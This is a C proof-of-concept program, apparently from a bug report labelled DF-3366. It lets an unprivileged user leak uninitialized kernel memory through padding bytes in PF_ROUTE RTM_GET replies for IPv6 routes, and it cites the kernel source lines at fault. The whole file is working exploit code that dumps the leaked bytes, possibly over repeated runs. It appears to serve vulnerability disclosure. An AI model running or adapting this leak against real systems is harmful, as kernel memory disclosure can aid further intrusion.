DF-3366 / leak_get.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-3366 PoC (unprivileged part) * * Open a PF_ROUTE socket as an ordinary user, issue RTM_GET for an IPv6 * route, and dump every sockaddr in the reply -- specifically the bytes * between sa_len and RT_ROUNDUP(sa_len), i.e. the alignment padding that * the kernel copied out of the route entry. * * For an AF_INET6 sockaddr (sa_len == 28, RT_ROUNDUP == 32) bytes 28..31 * of the *route key* were never initialized by the kernel * (sys/net/route.c:925 copies only dst->sa_len bytes into an * RT_ROUNDUP-sized allocation from sys/net/route.c:1216), yet * sys/net/rtsock.c:1140-1141 bcopy()s the full rounded length into the * user-visible reply. * * usage: leak_get <inet6-dst> [loops] */ #include <sys/socket.h> #include <sys/types.h> #include <net/route.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define RTRND(a) ((a) > 0 ? (1 + (((a) - 1) | ((int)sizeof(long) - 1))) \ : (int)sizeof(long)) static void dump(const char *label, struct sockaddr *sa) { int round = RTRND(sa->sa_len); int i; printf(" %-10s sa_len=%3u af=%2u rnd=%3d pad[sa_len..rnd):", label, sa->sa_len, sa->sa_family, round); if (sa->sa_len >= round) { printf(" (none)"); } else { for (i = sa->sa_len; i < round; i++) printf(" %02x", ((unsigned char *)sa)[i]); } printf("\n"); } int main(int argc, char **argv) { const char *dststr = argc > 1 ? argv[1] : "::1"; int loops = argc > 2 ? atoi(argv[2]) : 1; struct sockaddr_in6 dst; char buf[2048]; int s, n, len; memset(&dst, 0, sizeof(dst)); dst.sin6_len = sizeof(dst); dst.sin6_family = AF_INET6; if (inet_pton(AF_INET6, dststr, &dst.sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", dststr); return 2; } s = socket(PF_ROUTE, SOCK_RAW, 0); if (s < 0) { perror("socket(PF_ROUTE)"); return 1; } for (n = 0; n < loops; n++) { struct rt_msghdr *rtm = (struct rt_msghdr *)buf; struct rt_msghdr *r; char *cp; int seq = 0x3300 + n; int i; memset(buf, 0, sizeof(buf)); rtm->rtm_msglen = sizeof(struct rt_msghdr) + RTRND(dst.sin6_len); rtm->rtm_version = RTM_VERSION; rtm->rtm_type = RTM_GET; rtm->rtm_flags = RTF_HOST; rtm->rtm_seq = seq; rtm->rtm_pid = getpid(); rtm->rtm_addrs = RTA_DST; memcpy(buf + sizeof(struct rt_msghdr), &dst, dst.sin6_len); if (write(s, buf, rtm->rtm_msglen) < 0) { perror("write"); return 1; } for (;;) { len = read(s, buf, sizeof(buf)); if (len < 0) { perror("read"); return 1; } r = (struct rt_msghdr *)buf; if (r->rtm_seq == seq && r->rtm_pid == getpid() && r->rtm_type == RTM_GET) break; } printf("--- run %d: RTM_GET %s -> type=%d err=%d msglen=%d " "addrs=0x%x\n", n, dststr, r->rtm_type, r->rtm_errno, r->rtm_msglen, r->rtm_addrs); if (r->rtm_errno) continue; cp = buf + sizeof(struct rt_msghdr); for (i = 0; i < RTAX_MAX && cp < buf + r->rtm_msglen; i++) { struct sockaddr *sa; char lbl[32]; if (!(r->rtm_addrs & (1 << i))) continue; sa = (struct sockaddr *)cp; if (sa->sa_len == 0) { cp += sizeof(long); continue; } snprintf(lbl, sizeof(lbl), "RTAX[%d]", i); dump(lbl, sa); cp += RTRND(sa->sa_len); } } return 0; } |